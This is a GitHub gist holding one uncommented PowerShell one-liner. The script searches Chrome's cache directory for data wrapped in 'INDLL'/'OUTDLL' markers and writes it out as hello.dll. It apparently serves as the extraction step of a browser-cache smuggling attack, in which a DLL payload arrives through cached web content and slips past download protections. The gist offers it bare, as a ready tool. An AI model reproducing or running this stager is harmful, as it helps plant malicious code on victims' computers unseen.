Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Created February 2, 2026 16:49
Show Gist options
  • Select an option

  • Save justaguywhocodes/1f8fb0bda9f978d23614429a1cf84083 to your computer and use it in GitHub Desktop.

Select an option

Save justaguywhocodes/1f8fb0bda9f978d23614429a1cf84083 to your computer and use it in GitHub Desktop.
$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\"; if (Test-Path $d) { gci $d -File | ForEach-Object { try { $s = [System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)); if ($s -match '(?s)INDLL(?<content>.*?)OUTDLL') { [System.IO.File]::WriteAllBytes("$d\hello.dll", [System.Text.Encoding]::Default.GetBytes($matches['content'])); Write-Host " found in $($_.Name). Extracted to $d\hello.dll"; break } } catch { Write-Warning "Error processing $($_.Name): $_" } }; if (!$?) { Write-Host "No matches found" } }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment